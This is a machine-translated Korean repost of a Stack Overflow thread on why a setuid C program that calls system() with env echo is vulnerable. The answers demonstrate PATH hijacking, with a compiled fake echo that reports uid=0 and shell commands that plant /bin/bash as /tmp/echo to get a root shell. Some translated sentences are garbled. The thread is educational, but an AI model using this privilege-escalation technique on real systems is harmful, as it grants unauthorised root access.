이 C 코드의 취약한 점은 무엇입니까?
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
system("/usr/bin/env echo and now what?");
}
제가 이해하는 바에 따르면, 위의 코드는 임의의 코드(또는 프로그램) 실행을 허용합니다. 무엇이 이것을 취약하게 만들고, 이것을 어떻게 활용할 수 있을까요?
당신은 다음을 무시할 수 있습니다.PATH
사용자 지정 버전이 있는 디렉토리를 가리킬 변수echo
그 이후로echo
를 사용하여 실행됩니다.env
, 내장된 것으로 취급되지 않습니다.
이는 코드가 권한 있는 사용자로 실행되는 경우에만 취약성을 구성합니다.
아래 예에서 v.c 파일에는 질문의 코드가 포함되어 있습니다.
$ cat echo.c
#include <stdio.h>
#include <unistd.h>
int main() {
printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x 1 user group 8752 Nov 29 01:55 echo
-rw-r--r-- 1 user group 99 Nov 29 01:54 echo.c
-rwsr-sr-x 1 root group 8896 Nov 29 01:55 v
-rw-r--r-- 1 user group 279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$
호출에 의한 실제 사용자 ID, 유효 사용자 ID 및 저장된 set-user-ID 설정에 유의합니다.setresuid()
에 전화하기 전에system()
문제에 게시된 취약 코드에서는 유효한 사용자 ID만 권한 있는 사용자 ID로 설정되어 있고 실제 사용자 ID는 권한이 없는 상태로 남아 있는 경우에도 취약성을 이용할 수 있습니다(예: 위와 같이 파일에서 set-user-ID 비트에 의존하는 경우).에 연락이 없는 경우setresuid()
에 의해 좌지우지되는 껍데기system()
는 유효 사용자 ID를 실제 사용자 ID로 재설정하여 공격을 효과적으로 수행하지 않습니다.다만, 해당 취약코드가 특권사용자의 실사용자 ID로 실행된 경우,system()
전화만으로도 충분합니다.인용sh
man 페이지:
셸이 유효 사용자(그룹) ID와 실제 사용자(그룹) ID가 같지 않은 상태에서 시작되고 -p 옵션이 제공되지 않으면 시작 파일이 읽히지 않고 셸 기능이 환경에서 상속되지 않으며 환경에 나타나는 경우 SHELLOPTS 변수가 무시되고 유효 사용자 ID가 실제 사용자 ID로 설정됩니다.호출 시 -p 옵션이 제공되는 경우 시작 동작은 동일하지만 유효 사용자 ID는 재설정되지 않습니다.
그리고 참고하세요.setresuid()
휴대용은 아니지만,setuid()
아니면setreuid()
동일한 의미로 사용될 수도 있습니다.
음 실제로 시스템 기능 통화에서 당신은 그것을 엉망으로 만들 수 있습니다.echo
지휘.예를 들어 다음 코드를 실행하는 경우:
echo "/bin/bash" > /tmp/echo
chmod 777 /tmp/echo && export PATH=/tmp:$PATH
파일 소유자 권한이 있는 셸을 얻을 것입니다.
언급URL : https://stackoverflow.com/questions/8304396/what-is-vulnerable-about-this-c-code
'source' 카테고리의 다른 글
와의 차이점은 무엇입니까?값 = " " 및 .내용 지우기? (0) | 2023.10.07 |
---|---|
테이블에 ON DELETE 제약 조건을 추가하려면 어떻게 해야 합니까? (0) | 2023.10.07 |
Woocommerce 체크아웃 페이지에서만 총 가격에 텍스트 추가 (0) | 2023.10.07 |
SQL_NO_CACH가 작동하지 않습니다. (0) | 2023.10.07 |
f가 x를 수정하면 x*f(x)의 값이 지정되지 않습니까? (0) | 2023.10.07 |